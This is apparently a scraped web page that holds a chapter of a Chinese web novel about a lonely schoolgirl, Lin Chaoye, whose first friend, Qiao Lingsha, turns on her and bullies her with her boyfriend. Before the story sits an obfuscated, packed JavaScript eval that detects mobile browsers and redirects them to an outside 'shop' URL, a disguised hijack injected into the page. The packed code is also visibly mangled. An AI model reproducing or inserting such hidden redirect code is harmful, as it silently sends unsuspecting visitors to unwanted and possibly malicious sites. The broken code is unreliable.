;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763676|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢丢好意当成无上的爱。 潮曳就是这样的可怜虫。 她曾经真的把乔菱纱当成好朋友。 成绩平平的潮曳,中考超常发挥,考上了名屿。 这所学校虽然不是屿城最好的高中,但对潮曳来说已经很不容易。名屿的学生要么成绩优异,要么家里有钱和门路。 开学第一天,潮曳的心万分忐忑。 一方面,她不想像初中那样,永远当一个不被人注意的阴角。 她也想要玫瑰色的高中生活,有一个无话不谈的好朋友,加入学校的手工社团,甚至谈一场恋爱…… 另一方面,她觉得这种想法很危险。 躲在阴暗的角落里固然可怜,但至少是安全的。 不和人交往,就不会被讨厌,也就没有受伤的机会。 很多时候,潮曳其实能从孤独中感受到快乐,她很享受一个人做手工的时光。 虽然有时她也会寂寞,像每一个青春期的女孩一样,渴望受到关注。 但她知道自己长得不好看,曾有过一两次主动搭话,换来的是无比尴尬的场面,便越发习惯缩头乌龟了。 既然这样。 还是继续当一个阴角吧…… “你这个挂件是在哪里买的?好可爱。” 被分到潮曳前面座位的女生,声音如银铃般清脆,还有着一双漂亮的、笑意盈盈的大眼睛。 意识到她在向自己搭话,潮曳直接宕机了。 “这,这,这是……”小小声,“我自己做的。” “哎??这么厉害??”美女同学惊讶,“怎么做的?需要什么材料?做了多久?你的手好巧啊!” 潮曳满脸通红,不知所措。 这是第一次有人夸她做的东西。 “我叫乔菱纱。你呢?” “潮……潮曳。林潮曳。” “小潮曳,我可以和你做朋友吗?” “诶?我……我吗?” 潮曳和乔菱纱成为了朋友。 吃饭,逛街,看电影,乔菱纱都带着潮曳。 这是潮曳人生第一次交到朋友。她甚至想过,如果走在路上遇到随机杀人狂想对乔菱纱下手,她一定会挺身而出,挡在面前。 好朋友。 好朋友。 她给乔菱纱做了个一个羊毛毡。 漂漂亮亮的小公主。 那天,乔菱纱的脸青青紫紫,嘴角也肿了起来,看起来很痛。 潮曳的心都要碎了,她不知道如何关心好朋友,从没有过这方面的经验,只能手足无措地呆站在原地。 直到乔菱纱开口,说想要一个人静静。 潮曳便乖乖地走开。 乔菱纱请假了一周。 再见到她的时候,她的身边出现了一个又高又胖的男生。 朱志远。 乔菱纱说她在和朱志远交往,并当着潮曳的面和朱志远接吻。 那之后,乔菱纱和朱志远开始欺负潮曳。 一开始潮曳并不知道那是“欺负”。 她虽然不喜欢乔菱纱有自己以外的新朋友,还是比“朋友”更特殊一点的“男朋友”。 但她乐意为乔菱纱跑腿,给乔菱纱写作业,在她和朱志远亲热时放风……朋友就要为了朋友做一切事情。 直到朱志远揍了潮曳。 特别痛的一拳。 “对不住。看你特别像沙包,就揍咯。没事吧?” “你叫潮什么来着?得了,干脆以后就叫你高潮了吧。” 朱志远说这些话的时候,乔菱纱就坐在他旁边,咯咯直笑。 潮曳原本打算在那天将终于做好的羊毛毡送给她的。